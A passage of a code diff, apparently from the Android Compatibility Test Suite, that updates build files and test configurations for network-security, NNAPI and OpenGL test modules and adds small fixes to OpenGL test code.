+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ // check that softap mode is supported by the device
if (!mWifiManager.isPortableHotspotSupported()) {
return;
}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 6dec23f..4c68423 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -20,9 +20,11 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
ctstestserver \
- org.apache.http.legacy
+ org.apache.http.legacy \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
@@ -31,7 +33,7 @@
LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficFalse
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
index 5c077c6..2b91cea 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficFalse test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 6df748d..584afd2 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -20,9 +20,11 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
ctstestserver \
- org.apache.http.legacy
+ org.apache.http.legacy \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
@@ -31,7 +33,7 @@
LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficTrue
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
index b80a7d8..c025dad 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficTrue test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 6f35027..9a613e7 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -20,9 +20,11 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
ctstestserver \
- org.apache.http.legacy
+ org.apache.http.legacy \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
@@ -31,7 +33,7 @@
LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficUnspecified
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
index fe2fa70..ae25db7 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficUnspecified test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
index 56c5d25..10018ce 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
index efec701..e6ee7c6 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigAttributeTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigAttributeTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
index 2b91bc6..161dbd3 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
index 4066d83..36eb72a 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigBasicDomainConfigTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigBasicDomainConfigTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
index df29b5f..927374c 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
index 014e0ef..f2e3f35 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigCleartextTraffic test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigCleartextTrafficTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
index 59e5625..aa0eefd 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
index 611da31..14e4eb4 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigBasicDebugDisabledTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigBasicDebugDisabledTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
index c935486..be9174e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
index 4f636c3..198f30e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigBasicDebugEnabledTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigBasicDebugEnabledTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index 3993d00..84e72b0 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -20,7 +20,11 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ org.apache.http.legacy \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -28,7 +32,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
index 71bc49c..fb26391 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
@@ -15,12 +15,13 @@
-->
<configuration description="Config for CTS CtsNetSecConfigDownloadManagerTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigDownloadManagerTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.security.net.config.cts.CtsNetSecConfigDownloadManagerTestCases" />
- <option name="runtime-hint" value="11m" />
+ <option name="runtime-hint" value="15s" />
</test>
</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
index a89bad0..4764cab 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
index 253758f..7f3c7fd 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigInvalidPinTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigInvalidPinTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
index d68073d..5448f34 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
index 49976a8..0209025 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigNestedDomainConfigTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigNestedDomainConfigTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index cace6d0..924f393 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -20,7 +20,11 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ org.apache.http.legacy \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -28,7 +32,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
new file mode 100644
index 0000000..f1a9ed4
--- /dev/null
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -0,0 +1,52 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Build the unit tests.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsNNAPITestCases
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SRC_FILES := \
+ src/TestValidation.cpp \
+ src/TestMemory.cpp \
+ src/TestTrivialModel.cpp \
+ src/TestGenerated.cpp
+
+LOCAL_C_INCLUDES := frameworks/ml/nn/runtime/include/
+LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/test/
+LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/
+LOCAL_C_INCLUDES += frameworks/ml/nn/common/include
+LOCAL_C_INCLUDES += frameworks/ml/nn/tools/test_generator/include
+
+LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
+
+LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgtest_main_ndk_c++
+
+LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CFLAGS := -Werror -Wall
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/neuralnetworks/AndroidTest.xml b/tests/tests/neuralnetworks/AndroidTest.xml
new file mode 100644
index 0000000..cd1a0f0
--- /dev/null
+++ b/tests/tests/neuralnetworks/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Configuration for Native NNAPI Tests">
+ <option name="config-descriptor:metadata" key="component" value="neuralnetworks" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+ <option name="push" value="CtsNNAPITestCases->/data/local/tmp/CtsNNAPITestCases" />
+ <option name="append-bitness" value="true" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.GTest" >
+ <option name="native-test-device-path" value="/data/local/tmp" />
+ <option name="module-name" value="CtsNNAPITestCases" />
+ <option name="runtime-hint" value="2m" />
+ <!-- test-timeout unit is ms, value = 2 min -->
+ <option name="native-test-timeout" value="120000" />
+ </test>
+</configuration>
diff --git a/tests/tests/neuralnetworks/src/TestGenerated.cpp b/tests/tests/neuralnetworks/src/TestGenerated.cpp
new file mode 100644
index 0000000..b9044fe
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestGenerated.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestGenerated.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestMemory.cpp b/tests/tests/neuralnetworks/src/TestMemory.cpp
new file mode 100644
index 0000000..84d2d41
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestMemory.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestMemory.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestTrivialModel.cpp b/tests/tests/neuralnetworks/src/TestTrivialModel.cpp
new file mode 100644
index 0000000..b41e50f
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestTrivialModel.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestTrivialModel.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestValidation.cpp b/tests/tests/neuralnetworks/src/TestValidation.cpp
new file mode 100644
index 0000000..eab0f59
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestValidation.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestValidation.cpp"
diff --git a/tests/tests/opengl/Android.mk b/tests/tests/opengl/Android.mk
index e43bff1..9338d81 100644
--- a/tests/tests/opengl/Android.mk
+++ b/tests/tests/opengl/Android.mk
@@ -29,7 +29,7 @@
LOCAL_JNI_SHARED_LIBRARIES := libopengltest_jni
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/opengl/libopengltest/Android.mk b/tests/tests/opengl/libopengltest/Android.mk
index afa94dc..f05fd8c 100755
--- a/tests/tests/opengl/libopengltest/Android.mk
+++ b/tests/tests/opengl/libopengltest/Android.mk
@@ -39,6 +39,9 @@
LOCAL_CXX_STL := libc++_static
LOCAL_SHARED_LIBRARIES := libGLESv2 liblog
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp b/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
index fe49b1b..a511f9a 100755
--- a/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
+++ b/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
@@ -135,7 +135,7 @@
jclass obj, jint pCategory, jint pSubCategory, jfloatArray color)
{
LOGI("Inside draw %d %d", pCategory, pSubCategory);
- jfloatArray result;
+ jfloatArray result = nullptr;
if(pCategory == 3){
if(pSubCategory == 1){
result = env->NewFloatArray(4);
@@ -143,8 +143,8 @@
jfloat *lColor = env->GetFloatArrayElements(color,0);
float * actualColor = drawColorOne(lColor);
- for( int i= 0; i < sizeof(actualColor); i++) {
- LOGI("actualColor[%d] ; %f", i, actualColor[i]);
+ for(unsigned i = 0; i < sizeof(actualColor); i++) {
+ LOGI("actualColor[%u] ; %f", i, actualColor[i]);
}
env->SetFloatArrayRegion(result, 0, 4, actualColor);
}
diff --git a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
index 15a7074..ed86051 100644
--- a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
+++ b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
@@ -63,6 +63,12 @@
}
@Override
+ protected void onPause() {
+ mCompressedTextureView.onPause();
+ super.onPause();
+ }
+
+ @Override
protected void onResume() {
super.onResume();
mCompressedTextureView.onResume();
diff --git a/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java b/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
index 1faef87..c81520d 100644
--- a/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
@@ -190,9 +190,12 @@
// zero out the refcount.
//
// Before we can terminate we need to be sure that the display has been initialized
- // at least once. Also includes the 1s sleep to work-around a suspected race condition
- // where it seems that some earlier tests may not have completed clean-up of all activities.
- Thread.sleep(1000);
+ // at least once so call eglSetup first.
+ //
+ // IMPORTANT NOTE: If a previous test in this test group fails to cleanup its
+ // GLSurfaceView there may be a crash here on some platforms due to an object destruction
+ // race condition. The solution is to make sure all previous tests override onPause()
+ // and call their GLSurfaceView's onPause() function there. See b/37118199 for history.
eglSetup(2, 1, 1);
for (int i = 0; i < 100; i++) {
EGL14.eglTerminate(mEGLDisplay);
diff --git a/tests/tests/openglperf/Android.mk b/tests/tests/openglperf/Android.mk
index 46e316a..7669204 100644
